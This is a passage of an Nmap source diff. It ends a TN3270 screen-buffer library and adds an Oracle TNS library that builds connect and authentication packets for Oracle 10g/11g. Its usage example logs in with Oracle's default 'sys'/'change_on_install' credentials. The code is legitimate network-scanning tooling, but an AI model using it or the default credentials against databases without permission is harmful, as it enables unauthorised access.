+ local buff = ''
+ for i = 0,#self.buffer do
+ if self.buffer[i] == "\00" then
+ buff = buff .. " "
+ else
+ buff = buff .. drda.StringUtil.toASCII(self.buffer[i])
+ end
+ end
+ local i, j = string.find(buff, '%w')
+ if i ~= nil then
+ stdnse.debug(3, "[CLEAR] Screen has text")
+ return false
+ else
+ stdnse.debug(3, "[CLEAR] Screen is Empty")
+ return true
+ end
+ end,
+
+ --- Any Hidden Fields
+ --
+ -- @returns true if there are any hidden fields in the buffer
+ any_hidden = function ( self )
+ local hidden_attrib = 0x0c -- 00001100 is hidden
+ for i = 0,#self.fa_buffer do
+ if (self.fa_buffer[i]:byte(1) & hidden_attrib) == hidden_attrib then
+ return true
+ end
+ end
+ end,
+
+ --- Hidden Fields
+ --
+ -- @returns the locations of hidden fields in a table with each pair being the start and stop of the hidden field
+ hidden_fields_location = function ( self )
+ local hidden_attrib = 0x0c -- 00001100 is hidden
+ local hidden_location = {}
+ local i = 1
+ if not self:any_hidden() then
+ return hidden_location
+ end
+ while i <= #self.fa_buffer do
+ if (self.fa_buffer[i]:byte(1) & hidden_attrib) == hidden_attrib then
+ stdnse.debug(3, "Found hidden field at buffer location: " .. i)
+ table.insert(hidden_location, i)
+ i = i + 1
+ while self.fa_buffer[i] == "\0" do
+ i = i + 1
+ end
+ table.insert(hidden_location, i)
+ end
+ i = i + 1
+ end
+ return hidden_location
+ end,
+
+ hidden_fields = function ( self )
+ local locations = self:hidden_fields_location()
+ local fields = {}
+ local i, j = 1,1
+ local start, stop = 0
+ while i <= #locations do
+ start = locations[i] + 1
+ stop = locations[i+1] - 1
+ stdnse.debug(3, "Start Location: %i Stop Location %i", start, stop)
+ fields[j] = ''
+ for k = start,stop do
+ -- stdnse.debug(3, "k = %i Inserting 0x%s", k, stdnse.tohex(self.buffer[k]))
+ fields[j] = fields[j] .. drda.StringUtil.toASCII(self.buffer[k])
+ end
+ j = j + 1
+ i = i + 2
+ end
+ return fields
+ end,
+
+ any_overwritten = function ( self )
+ for i = 1, #self.overwrite_buf do
+ if self.overwrite_buf[i] ~= "\0" then
+ return true
+ end
+ end
+ return false
+ end,
+
+ set_lu = function (self, LU)
+ -- Sets an LU
+ self.connected_lu = LU
+ end,
+
+ get_lu = function ( self )
+ return self.connected_lu
+ end,
+ disable_tn3270e = function ( self )
+ stdnse.debug(3,"Disabling TN3270E")
+ table.insert(self.unsupported_opts,self.options.TN3270E)
+ end,
+ overwrite_data = function ( self )
+ if not self:any_overwritten() then
+ return false
+ end
+ stdnse.debug(3,"Printing the overwritten TN3270 buffer")
+ local buff = '\n'
+ for i = 0,#self.overwrite_buf do
+ if self.overwrite_buf[i] == "\0" then
+ buff = buff .. " "
+ else
+ buff = buff .. drda.StringUtil.toASCII(self.buffer[i])
+ end
+ if i % 80 == 0 then
+ buff = buff .. "\n"
+ end
+ end
+ return buff
+ end
+}
+
+return _ENV
diff --git a/nselib/tns.lua b/nselib/tns.lua
new file mode 100644
index 0000000..1d7b953
--- /dev/null
+++ b/nselib/tns.lua
@@ -0,0 +1,1798 @@
+---
+-- TNS Library supporting a very limited subset of Oracle operations
+--
+-- Summary
+-- -------
+-- The library currently provides functionality to connect and authenticate
+-- to the Oracle database server. Some preliminary query support has been
+-- added, which only works against a few specific versions. The library has
+-- been tested against and known to work with Oracle 10g and 11g. Please check
+-- the matrix below for tested versions that are known to work.
+--
+-- Due to the lack of documentation the library is based mostly on guesswork
+-- with a lot of unknowns. Bug reports are therefore both welcome and
+-- important in order to further improve this library. In addition, knowing
+-- that the library works against versions not in the test matrix is valuable
+-- as well.
+--
+-- Overview
+-- --------
+-- The library contains the following classes:
+--
+-- o Packet.*
+-- - The Packet classes contain specific packets and function to serialize
+-- them to strings that can be sent over the wire. Each class may also
+-- contain a function to parse the servers response.
+--
+-- o Comm
+-- - Implements a number of functions to handle communication
+--
+-- o Crypt
+-- - Implements encryption algorithms and functions to support
+-- authentication with Oracle 10G and Oracle 11G.
+--
+-- o Helper
+-- - A helper class that provides easy access to the rest of the library
+--
+--
+-- Example
+-- -------
+-- The following sample code illustrates how scripts can use the Helper class
+-- to interface the library:
+--
+-- <code>
+-- tnshelper = tns.Helper:new(host, port)
+-- status, err = tnshelper:Connect()
+-- status, res = tnshelper:Login("sys", "change_on_install")
+-- status, err = tnshelper:Close()
+-- </code>
+--
+-- Additional information
+-- ----------------------
+-- The implementation is based on the following documentation and through
+-- analysis of packet dumps:
+--
+-- o Oracle 10g TNS AES-128 authentication details (Massimiliano Montoro)
+-- x http://www.oxid.it/downloads/oracle_tns_aes128_check.txt
+-- o Oracle 11g TNS AES-192 authentication details (Massimiliano Montoro)
+-- x http://www.oxid.it/downloads/oracle_tns_aes192_check.txt
+-- o Initial analysis of Oracle native authentication version 11g
+-- (László Tóth)
+-- x http://www.soonerorlater.hu/index.khtml?article_id=512
+-- o Oracle native authentication version 9i and 10g (László Tóth)
+-- x http://www.soonerorlater.hu/index.khtml?article_id=511
+--
+-- This implementation is tested and known to work against Oracle 10g and 11g
+-- on both Linux and Windows. For details regarding what versions where tested
+-- please consult the matrix below.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+-- @args tns.sid specifies the Oracle instance to connect to
+
+--
+-- Version 0.71
+-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 07/21/2010 - v0.2 - made minor changes to support 11gR2 on Windows
+-- Revised 07/23/2010 - v0.3 - corrected incorrect example code in docs
+-- - removed ssl require
+-- Revised 02/08/2011 - v0.4 - added basic query support <patrik@cqure.net>
+-- Revised 17/08/2011 - v0.5 - fixed bug that would prevent connections from
+-- working on 64-bit oracle.
+-- Revised 20/08/2011 - v0.6 - fixed a few bugs in connection and query code
+-- - changed so that connections against untested
+-- databases versions will fail
+-- - added some more documentation and fixed some
+-- indentation bugs
+-- <patrik@cqure.net>
+-- Revised 26/08/2011 - v0.7 - applied patch from Chris Woodbury
+-- <patrik@cqure.net>
+-- Revised 28/08/2011 - v0.71- fixed a bug that would prevent the library from
+-- authenticating against Oracle 10.2.0.1.0 XE
+-- <patrik@cqure.net>
+--
+-- The following versions have been tested and are known to work:
+-- +--------+---------------+---------+-------+-------------------------------+
+-- | OS | DB Version | Edition | Arch | Functionality |
+-- +--------+---------------+---------+-------+-------------------------------|
+-- | Win | 10.2.0.1.0 | EE | 32bit | Authentication |
+-- | Win | 10.2.0.1.0 | XE | 32bit | Authentication, Queries |
+-- | Linux | 10.2.0.1.0 | EE | 32bit | Authentication |
+-- | Win | 11.1.0.6.0 | EE | 32bit | Authentication, Queries |
+-- | Win | 11.1.0.6.0 | EE | 64bit | Authentication |
+-- | Win | 11.2.0.1.0 | EE | 64bit | Authentication |
+-- | Win | 11.2.0.2.0 | EE | 64bit | Authentication |
+-- | Linux | 11.2.0.1.0 | EE | 64bit | Authentication |
+-- | Win | 11.2.0.2.0 | XE | 32bit | Authentication, Queries |
+-- | Win | 11.2.0.2.0 | EE | 64bit | Authentication, Queries |
+-- +--------+---------------+---------+-------+-------------------------------+
+--
+
+local bits = require "bits"
+local math = require "math"
+local match = require "match"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local openssl = stdnse.silent_require "openssl"
+_ENV = stdnse.module("tns", stdnse.seeall)
+
+-- Oracle version constants
+ORACLE_VERSION_10G = 313
+ORACLE_VERSION_11G = 314
+
+-- Data type to number conversions
+DataTypes = {
+ NUMBER = 2,
+ DATE = 12,
+}
+
+-- A class containing some basic authentication options
+AuthOptions =
+{
+
+ -- Creates a new AuthOptions instance
+ -- @return o new instance of AuthOptions
+ new = function( self )
+ local o = {
+ auth_term = "pts/" .. math.random(255),
+ auth_prog = ("sqlplus@nmap_%d (TNS V1-V3)"):format(math.random(32768)),
+ auth_machine = "nmap_target",
+ auth_pid = "" .. math.random(32768),
+ auth_sid = "nmap_" .. math.random(32768)
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+}
+
+-- Decodes different datatypes from the byte arrays or strings read from the
+-- tns data packets
+DataTypeDecoders = {
+
+ -- Decodes a number
+ [DataTypes.NUMBER] = function(val)
+ if ( #val == 0 ) then return "" end
+ if ( #val == 1 and val == '\128' ) then return 0 end
+
+ local bytes = {string.byte(val, 1, #val)}
+
+ local positive = ( (bytes[1] & 0x80) ~= 0 )
+
+ local function convert_bytes(bytes, positive)
+ local ret_bytes = {}
+ local len = #bytes
+
+ if ( positive ) then
+ ret_bytes[1] = (bytes[1] & 0x7F) - 65
+ for i=2, len do ret_bytes[i] = bytes[i] - 1 end
+ else
+ ret_bytes[1] = ((bytes[1] ~ 0xFF) & 0x7F) - 65
+ for i=2, len do ret_bytes[i] = 101 - bytes[i] end
+ end
+
+ return ret_bytes
+ end
+
+ bytes = convert_bytes(bytes, positive)
+
+ local k = ( #bytes - 1 > bytes[1] +1 ) and ( bytes[1] + 1 ) or #bytes - 1
+ local l = 0
+ for m=1, k do l = l * 100 + bytes[m+1] end
+ for m=bytes[1]-#bytes - 1, 0, -1 do l = l * 100 end
+
+ return (positive and l or -l)
+ end,
+
+ -- Decodes a date
+ [DataTypes.DATE] = function(val)
+ local bytes = {}
+
+ if (#val == 0) then
+ return ""
+ elseif( #val ~= 7 ) then
+ return "ERROR: Failed to decode date"
+ end
+
+ local bytes = {string.byte(val, 1, 7)}
+
+ return ("%d-%02d-%02d"):format( (bytes[1] - 100 ) * 100 + bytes[2] - 100, bytes[3], bytes[4] )
+ end,
+
+
+
+}
+
+-- Packet class table
+--
+-- Each Packet type SHOULD implement:
+-- o tns_type - A variable indicating the TNS Type of the Packet
+-- o toString - A function that serializes the object to string
+--
+-- Each Packet MAY also optionally implement:
+-- o parseResponse
+-- x An optional function that parses the servers response
+-- x The function should return status and an undefined second return value
+--
+Packet = {}
+
+-- Contains the TNS header and basic functions for decoding and reading the
+-- TNS packet.
+Packet.TNS = {
+
+ checksum = 0,
+ hdr_checksum = 0,
+ length = 0,
+ reserved = 0,
+
+ Type =
+ {
+ CONNECT = 1,
+ ACCEPT = 2,
+ REFUSE = 4,
+ DATA = 6,
+ RESEND = 11,
+ MARKER = 12,
+ },
+
+ new = function( self, typ )
+ local o = {
+ type = typ
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Read a TNS packet of the socket
+ --
+ -- @return true on success, false on failure
+ -- @return err string containing error message on failure
+ recv = function( self )
+ local status, data = self.socket:receive_buf( match.numbytes(2), true )
+
+ if ( not(status) ) then
+ return status, data
+ end
+
+ self.length = string.unpack(">I2", data )
+
+ status, data = self.socket:receive_buf( match.numbytes(6), true )
+ if ( not(status) ) then
+ return status, data
+ end
+
+ self.checksum, self.type, self.reserved, self.hdr_checksum = string.unpack(">I2BBI2", data)
+
+ status, data = self.socket:receive_buf( match.numbytes(self.length - 8), true )
+ if ( status ) then
+ self.data = data
+ end
+
+ return true
+ end,
+
+ parse = function(data)
+ local tns = Packet.TNS:new()
+ local pos
+ tns.length, tns.checksum, tns.type, tns.reserved, tns.hdr_checksum, pos = string.unpack(">I2I2BBI2", data)
+ tns.data, pos = string.unpack("c" .. ( tns.length - 8 ), data, pos)
+ return tns
+ end,
+
+ --- Converts the TNS packet to string suitable to be sent over the socket
+ --
+ -- @return string containing the TNS packet
+ __tostring = function( self )
+ local data = string.pack(">I2I2BBI2", self.length, self.checksum, self.type, self.reserved, self.hdr_checksum) .. self.data
+ return data
+ end,
+
+}
+
+-- Initiates the connection to the listener
+Packet.Connect = {
+
+ CONN_STR = [[
+ (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=%s)(PORT=%d))
+ (CONNECT_DATA=(SERVER=DEDICATED)(SERVICE_NAME=%s)(CID=
+ (PROGRAM=sqlplus)(HOST=%s)(USER=nmap))))]],
+
+ version = 314,
+ version_comp = 300,
+ svc_options = 0x0c41,
+ sess_dus = 8192,
+ max_trans_dus = 32767,
+ nt_proto_char = 0x7f08,
+ line_turnaround = 0,
+ value_of_1_in_hw = 0x0100,
+ conn_data_len = 0,
+ conn_data_offset = 58,
+ conn_data_max_recv = 512,
+ conn_data_flags_0 = 0x41,
+ conn_data_flags_1 = 0x41,
+ trace_cross_1 = 0,
+ trace_cross_2 = 0,
+ trace_unique_conn = 0,
+ tns_type = Packet.TNS.Type.CONNECT,
+
+ -- Creates a new Connect instance
+ -- @param rhost string containing host or ip
+ -- @param rport string containing the port number
+ -- @param dbinstance string containing the instance name
+ -- @return o containing new Connect instance
+ new = function( self, rhost, rport, dbinstance )
+ local o = {
+ rhost = rhost,
+ rport = rport,
+ conn_data = Packet.Connect.CONN_STR:format( rhost, rport, dbinstance, rhost ),
+ dbinstance = dbinstance:upper()
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ setCmd = function( self, cmd )
+ local tmp = [[
+ (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=%s)(USER=nmap))(COMMAND=%s)(ARGUMENTS=64)(SERVICE=%s:%d)(VERSION=185599488)))
+ ]]
+ self.conn_data = tmp:format( self.rhost, cmd, self.rhost, self.rport )
+ end,
+
+ --- Parses the server response from the CONNECT
+ --
+ -- @param tns Packet.TNS containing the TNS packet received from the
+ -- server
+ -- @return true on success, false on failure
+ -- @return version number containing the version supported by the
+ -- server or an error message on failure
+ parseResponse = function( self, tns )
+ if ( tns.type ~= Packet.TNS.Type.ACCEPT ) then
+ if ( tns.data:match("ERR=12514") ) then
+ return false, ("TNS: The listener could not resolve \"%s\""):format(self.dbinstance)
+ end
+ return false, tns.data:match("%(ERR=(%d*)%)")
+ end
+
+ local version = string.unpack(">I2", tns.data )
+ return true, version
+ end,
+
+ --- Converts the CONNECT packet to string
+ --
+ -- @return string containing the packet
+ __tostring = function( self )
+ self.conn_data_len = #self.conn_data
+
+ return string.pack(">I2I2I2I2I2I2I2I2I2I2I4 BBI4 I4 I8I8", self.version, self.version_comp, self.svc_options,
+ self.sess_dus, self.max_trans_dus, self.nt_proto_char,
+ self.line_turnaround, self.value_of_1_in_hw, self.conn_data_len,
+ self.conn_data_offset, self.conn_data_max_recv, self.conn_data_flags_0,
+ self.conn_data_flags_1, self.trace_cross_1, self.trace_cross_2,
+ self.trace_unique_conn, 0) .. self.conn_data
+ end,
+
+
+}
+
+-- A TNS data packet, one of the most common packets
+Packet.Data = {
+
+ flag = 0,
+
+ -- Createas a new Data instance
+ -- @return o new instance of Data
+ new = function( self, data )
+ local o = {
+ TNS = Packet.TNS:new( Packet.TNS.Type.DATA ),
+ data = data
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Converts the DATA packet to string
+ --
+ -- @return string containing the packet
+ __tostring = function( self )
+ local data = string.pack( ">I2", self.flag ) .. self.data
+ self.TNS.length = #data + 8
+ return tostring(self.TNS) .. data
+ end,
+
+}
+
+-- Packet received by the server to indicate errors or end of
+-- communication.
+Packet.Attention = {
+
+ tns_type = Packet.TNS.Type.MARKER,
+
+ -- Creates a new instance of the Attention packet
+ -- @return o new instance of Attention
+ new = function( self, typ, data )
+ local o = { data = data, att_type = typ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Converts the MARKER packet to string
+ --
+ -- @return string containing the packet
+ __tostring = function( self )
+ return string.pack( ">B", self.att_type ) .. self.data
+ end,
+
+}
+
+-- Packet initializing challenge response authentication
+Packet.PreAuth = {
+
+ tns_type = Packet.TNS.Type.DATA,
+ flags = 0,
+ param_order = {
+ { ["AUTH_TERMINAL"] = "auth_term" },
+ { ["AUTH_PROGRAM_NM"] = "auth_prog" },
+ { ["AUTH_MACHINE"] = "auth_machine" },
+ { ["AUTH_PID"] = "auth_pid" },
+ { ["AUTH_SID"] = "auth_sid" }
+ },
+
+ --- Creates a new PreAuth packet
+ --
+ -- @param user string containing the user name
+ -- @return a new instance of Packet.PreAuth
+ new = function(self, user, options, ver)
+ local o = { auth_user = user, auth_options = options, version = ver }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Converts the DATA packet to string
+ --
+ -- @return string containing the packet
+ __tostring = function( self )
+ local packet_type = 0x0376
+ local UNKNOWN_MAP = {
+ ["Linuxi386/Linux-2.0.34-8.1.0"] = stdnse.fromhex("0238be0808") .. string.char(#self.auth_user) .. stdnse.fromhex("00000001000000a851bfbf05000000504ebfbf7853bfbf"),
+ ["IBMPC/WIN_NT-8.1.0"] = stdnse.fromhex("0238be0808") .. string.char(#self.auth_user) .. stdnse.fromhex("00000001000000a851bfbf05000000504ebfbf7853bfbf"),
+ ["IBMPC/WIN_NT64-9.1.0"] = stdnse.fromhex("0201040000000100000001050000000101"),
+ ["x86_64/Linux 2.4.xx"] = stdnse.fromhex("0201040000000100000001050000000101"),
+ }
+ local unknown = UNKNOWN_MAP[self.version] or ""
+ local data = {
+ string.pack(">I2I2", self.flags, packet_type),
+ unknown,
+ string.pack("s1", self.auth_user),
+ }
+
+ for _, v in ipairs( Packet.PreAuth.param_order ) do
+ for k, v2 in pairs(v) do
+ data[#data+1] = Marshaller.marshalKvp( k, self.auth_options[v2] )
+ end
+ end
+
+ return table.concat(data)
+ end,
+
+ --- Parses the PreAuth packet response and extracts data needed to
+ -- perform authentication
+ --
+ -- @param tns Packet.TNS containing the TNS packet received from the server
+ -- @return table containing the keys and values returned by the server
+ parseResponse = function( self, tns )
+ local kvps = {}
+ local kvp_count = string.unpack( "B", tns.data, 4 )
+ local pos = 6
+
+ for kvp_itr=1, kvp_count do
+ local key, val, kvp_flags
+ pos, key, val, kvp_flags = Marshaller.unmarshalKvp( tns.data, pos )
+ -- we don't actually do anything with the flags currently, but they're there
+ kvps[key] = val
+ end
+
+ return true, kvps
+ end,
+
+}
+
+-- Packet containing authentication data
+Packet.Auth = {
+
+ tns_type = Packet.TNS.Type.DATA,
+ flags = 0,
+ param_order = {
+ { ['key'] = "AUTH_RTT", ['def'] = "25456" },
+ { ['key'] = "AUTH_CLNT_MEM", ['def'] = "4096" },
+ { ['key'] = "AUTH_TERMINAL", ['var'] = "auth_term" },
+ { ['key'] = "AUTH_PROGRAM_NM", ['var'] = "auth_prog" },
+ { ['key'] = "AUTH_MACHINE", ['var'] = "auth_machine" },
+ { ['key'] = "AUTH_PID", ['var'] = "auth_pid" },
+ { ['key'] = "AUTH_SID", ['var'] = "auth_sid" },
+ { ['key'] = "AUTH_ACL", ['def'] = "4400" },
+ { ['key'] = "AUTH_ALTER_SESSION", ['def'] = "ALTER SESSION SET TIME_ZONE='+02:00'\0" },
+ { ['key'] = "AUTH_LOGICAL_SESSION_ID", ['def'] = stdnse.tohex(openssl.rand_pseudo_bytes(16)) },
+ { ['key'] = "AUTH_FAILOVER_ID", ['def'] = "" },
+ },
+
+ --- Creates a new Auth packet
+ --
+ -- @param auth_sesskey the encrypted session key
+ -- @param auth_pass the encrypted user password
+ -- @return a new instance of Packet.Auth
+ new = function(self, user, options, auth_sesskey, auth_pass, ver)
+ local o = {
+ auth_sesskey = auth_sesskey,
+ auth_pass = auth_pass,
+ auth_options = options,
+ user = user,
+ version = ver
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Converts the DATA packet to string
+ --
+ -- @return string containing the packet
+ __tostring = function( self )
+ local UNKNOWN_MAP = {
+ ["Linuxi386/Linux-2.0.34-8.1.0"] = stdnse.fromhex("0338be0808") .. string.char(#self.user) .. stdnse.fromhex("00000001010000cc7dbfbf0d000000747abfbf608abfbf"),
+ ["IBMPC/WIN_NT-8.1.0"] = stdnse.fromhex("0338be0808") .. string.char(#self.user) .. stdnse.fromhex("00000001010000cc7dbfbf0d000000747abfbf608abfbf"),
+ ["IBMPC/WIN_NT64-9.1.0"] = stdnse.fromhex("03010400000001010000010d0000000101"),
+ ["x86_64/Linux 2.4.xx"] = stdnse.fromhex("03010400000001010000010d0000000101")
+ }
+
+ local sess_id = stdnse.tohex(openssl.rand_pseudo_bytes(16))
+ local unknown = UNKNOWN_MAP[self.version] or ""
+ local data = {
+ string.pack(">I2I2", self.flags, 0x0373),
+ unknown,
+ string.pack("s1", self.user),
+ Marshaller.marshalKvp( "AUTH_SESSKEY", self.auth_sesskey, 1 ),
+ Marshaller.marshalKvp( "AUTH_PASSWORD", self.auth_pass ),
+ }
+
+ for k, v in ipairs( self.param_order ) do
+ if ( v['def'] ) then
+ data[#data+1] = Marshaller.marshalKvp( v['key'], v['def'] )
+ elseif ( self.auth_options[ v['var'] ] ) then
+ data[#data+1] = Marshaller.marshalKvp( v['key'], self.auth_options[ v['var'] ] )
+ elseif ( self[ v['var'] ] ) then
+ data[#data+1] = Marshaller.marshalKvp( v['key'], self[ v['var'] ] )
+ end
+ end
+ return table.concat(data)
+ end,
+
+ -- Parses the response of an Auth packet
+ --
+ -- @param tns Packet.TNS containing the TNS packet received from the server
+ -- @return table containing the key pair values from the Auth packet
+ parseResponse = function( self, tns )
+ local kvps = {}
+ local kvp_count = string.unpack( "B", tns.data, 4 )
+ local pos = 6
+
+ for kvp_itr=1, kvp_count do
+ local key, val, kvp_flags
+ pos, key, val, kvp_flags = Marshaller.unmarshalKvp( tns.data, pos )
+ -- we don't actually do anything with the flags currently, but they're there
+ kvps[key] = val
+ end
+
+ return true, kvps
+ end,
+
+}
+
+Packet.SNS = {
+
+ tns_type = Packet.TNS.Type.DATA,
+ flags = 0,
+
+ -- Creates a new SNS instance
+ --
+ -- @return o new instance of the SNS packet
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+
+ --- Converts the DATA packet to string
+ --
+ -- @return string containing the packet
+ __tostring = function( self )
+ return string.pack(">I2", self.flags) .. stdnse.fromhex(
+ [[
+ deadbeef00920b1006000004000004000300000000000400050b10060000080
+ 001000015cb353abecb00120001deadbeef0003000000040004000100010002
+ 0001000300000000000400050b10060000020003e0e100020006fcff0002000
+ 200000000000400050b100600000c0001001106100c0f0a0b08020103000300
+ 0200000000000400050b10060000030001000301
+ ]] )
+ end,
+}
+
+-- Packet containing protocol negotiation
+Packet.ProtoNeg = {
+
+ tns_type = Packet.TNS.Type.DATA,
+ flags = 0,
+
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Converts the DATA packet to string
+ --
+ -- @return string containing the packet
+ __tostring = function( self )
+ return string.pack(">I2", self.flags) .. stdnse.fromhex("0106050403020100")
+ .. "Linuxi386/Linux-2.0.34-8.1.0\0"
+ end,
+
+ --- Parses and verifies the server response
+ --
+ -- @param tns Packet.TNS containing the response from the server
+ parseResponse = function( self, tns )
+ local flags, neg, ver, srv = string.unpack(">I2BBxz", tns.data)
+ if ( neg ~= 1 ) then
+ return false, "Error protocol negotiation failed"
+ end
+
+ if ( ver ~= 6 ) then
+ return false, ("Error protocol version (%d) not supported"):format(ver)
+ end
+ return true, srv
+ end
+
+}
+
+Packet.Unknown1 = {
+
+ tns_type = Packet.TNS.Type.DATA,
+ flags = 0,
+
+ --- Creates a new Packet.Unknown1
+ --
+ -- @param version containing the version of the packet to send
+ -- @return new instance of Packet.Unknown1
+ new = function(self, os)
+ local o = { os = os }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Converts the DATA packet to string
+ --
+ -- @return string containing the packet
+ __tostring = function( self )
+
+ if ( self.os:match("IBMPC/WIN_NT[64]*[-]%d%.%d%.%d") ) then
+ return string.pack(">I2", self.flags) .. stdnse.fromhex([[
+ 02b200b2004225060101010d010105010101010101017fff0309030301007f0
+ 11fff010301013f01010500010702010000180001800000003c3c3c80000000
+ d007000100010001000000020002000a00000008000800010000000c000c000
+ a00000017001700010000001800180001000000190019001800190001000000
+ 1a001a0019001a00010000001b001b000a001b00010000001c001c0016001c0
+ 0010000001d001d0017001d00010000001e001e0017001e00010000001f001f
+ 0019001f0001000000200020000a00200001000000210021000a00210001000
+ 0000a000a00010000000b000b00010000002800280001000000290029000100
+ 000075007500010000007800780001000001220122000100000123012300010
+ 12300010000012401240001000001250125000100000126012600010000012a
+ 012a00010000012b012b00010000012c012c00010000012d012d00010000012
+ e012e00010000012f012f000100000130013000010000013101310001000001
+ 320132000100000133013300010000013401340001000001350135000100000
+ 136013600010000013701370001000001380138000100000139013900010000
+ 013b013b00010000013c013c00010000013d013d00010000013e013e0001000
+ 0013f013f000100000140014000010000014101410001000001420142000100
+ 000143014300010000014701470001000001480148000100000149014900010
+ 000014b014b00010000014d014d00010000014e014e00010000014f014f0001
+ 000001500150000100000151015100010000015201520001000001530153000
+ 100000154015400010000015501550001000001560156000100000157015700
+ 0101570001000001580158000100000159015900010000015a015a000100000
+ 15c015c00010000015d015d0001000001620162000100000163016300010000
+ 0167016700010000016b016b00010000017c017c0001014200010000017d017
+ d00010000017e017e00010000017f017f000100000180018000010000018101
+ 810001000001820182000100000183018300010000018401840001000001850
+ 18500010000018601860001000001870187000100000189018900010000018a
+ 018a00010000018b018b00010000018c018c00010000018d018d00010000018
+ e018e00010000018f018f000100000190019000010000019101910001000001
+ 940194000101250001000001950195000100000196019600010000019701970
+ 0010000019d019d00010000019e019e00010000019f019f0001000001a001a0
+ 0001000001a101a10001000001a201a20001000001a301a30001000001a401a
+ 40001000001a501a50001000001a601a60001000001a701a70001000001a801
+ a80001000001a901a90001000001aa01aa0001000001ab01ab0001000001ad0
+ 1ad0001000001ae01ae0001000001af01af0001000001b001b00001000001b1
+ 01b10001000001c101c10001000001c201c2000101250001000001c601c6000
+ 1000001c701c70001000001c801c80001000001c901c90001000001ca01ca00
+ 01019f0001000001cb01cb000101a00001000001cc01cc000101a2000100000
+ 1cd01cd000101a30001000001ce01ce000101b10001000001cf01cf00010122
+ 0001000001d201d20001000001d301d3000101ab0001000001d401d40001000
+ 001d501d50001000001d601d60001000001d701d70001000001d801d8000100
+ 0001d901d90001000001da01da0001000001db01db0001000001dc01dc00010
+ 00001dd01dd0001000001de01de0001000001df01df0001000001e001e00001
+ 000001e101e10001000001e201e20001000001e301e30001016b0001000001e
+ 401e40001000001e501e50001000001e601e60001000001ea01ea0001000001
+ eb01eb0001000001ec01ec0001000001ed01ed0001000001ee01ee000100000
+ 1ef01ef0001000001f001f00001000001f201f20001000001f301f300010000
+ 01f401f40001000001f501f50001000001f601f60001000001fd01fd0001000
+ 001fe01fe000100000201020100010000020202020001000002040204000100
+ 000205020500010000020602060001000002070207000100000208020800010
+ 0000209020900010000020a020a00010000020b020b00010000020c020c0001
+ 0000020d020d00010000020e020e00010000020f020f0001000002100210000
+ 100000211021100010000021202120001000002130213000100000214021400
+ 010000021502150001000002160216000100000217021700010000021802180
+ 00100000219021900010000021a021a00010000021b021b00010000021c021c
+ 00010000021d021d00010000021e021e00010000021f021f000100000220022
+ 000010000022102210001000002220222000100000223022300010000022402
+ 240001000002250225000100000226022600010000022702270001000002280
+ 228000100000229022900010000022a022a00010000022b022b00010000022c
+ 022c00010000022d022d00010000022e022e00010000022f022f00010000023
+ 102310001000002320232000100000233023300010000023402340001000002
+ 3702370001000002380238000100000239023900010000023a023a000100000
+ 23b023b00010000023c023c00010000023d023d00010000023e023e00010000
+ 023f023f0001000002400240000100000241024100010000024202420001000
+ 002430243000100000244024400010000
+ ]])
+ elseif ( "x86_64/Linux 2.4.xx" == self.os ) then
+ return string.pack(">I2", self.flags) .. stdnse.fromhex([[
+ 02b200b2004221060101010d01010401010101010101ffff0308030001003f0
+ 1073f010101010301050201000018800000003c3c3c80000000d00700010001
+ 0001000000020002000a00000008000800010000000c000c000a00000017001
+ 7000100000018001800010000001900190018001900010000001a001a001900
+ 1a00010000001b001b000a001b00010000001c001c0016001c00010000001d0
+ 01d0017001d00010000001e001e0017001e00010000001f001f0019001f0001
+ 000000200020000a00200001000000210021000a002100010000000a000a000
+ 10000000b000b00010000002800280001000000290029000100000075007500
+ 010000007800780001000001220122000100000123012300010123000100000
+ 12401240001000001250125000100000126012600010000012a012a00010000
+ 012b012b00010000012c012c00010000012d012d00010000012e012e0001000
+ 0012f012f000100000130013000010000013101310001000001320132000100
+ 000133013300010000013401340001000001350135000100000136013600010
+ 000013701370001000001380138000100000139013900010000013b013b0001
+ 0000013c013c00010000013d013d00010000013e013e00010000013f013f000
+ 100000140014000010000014101410001000001420142000100000143014300
+ 010000014701470001000001480148000100000149014900010000014b014b0
+ 0010000014d014d00010000014e014e00010000014f014f0001000001500150
+ 000100000151015100010000015201520001000001530153000100000154015
+ 400010000015501550001000001560156000100000157015700010157000100
+ 0001580158000100000159015900010000015a015a00010000015c015c00010
+ 000015d015d0001000001620162000100000163016300010000016701670001
+ 0000016b016b00010000017c017c0001014200010000017d017d00010000017
+ e017e00010000017f017f000100000180018000010000018101810001000001
+ 820182000100000183018300010000018401840001000001850185000100000
+ 18601860001000001870187000100000189018900010000018a018a00010000
+ 018b018b00010000018c018c00010000018d018d00010000018e018e0001000
+ 0018f018f000100000190019000010000019101910001000001940194000101
+ 2500010000019501950001000001960196000100000197019700010000019d0
+ 19d00010000019e019e00010000019f019f0001000001a001a00001000001a1
+ 01a10001000001a201a20001000001a301a30001000001a401a40001000001a
+ 501a50001000001a601a60001000001a701a70001000001a801a80001000001
+ a901a90001000001aa01aa0001000001ab01ab0001000001ad01ad000100000
+ 1ae01ae0001000001af01af0001000001b001b00001000001b101b100010000
+ 01c101c10001000001c201c2000101250001000001c601c60001000001c701c
+ 70001000001c801c80001000001c901c90001000001ca01ca0001019f000100
+ 0001cb01cb000101a00001000001cc01cc000101a20001000001cd01cd00010
+ 1a30001000001ce01ce000101b10001000001cf01cf000101220001000001d2
+ 01d20001000001d301d3000101ab0001000001d401d40001000001d501d5000
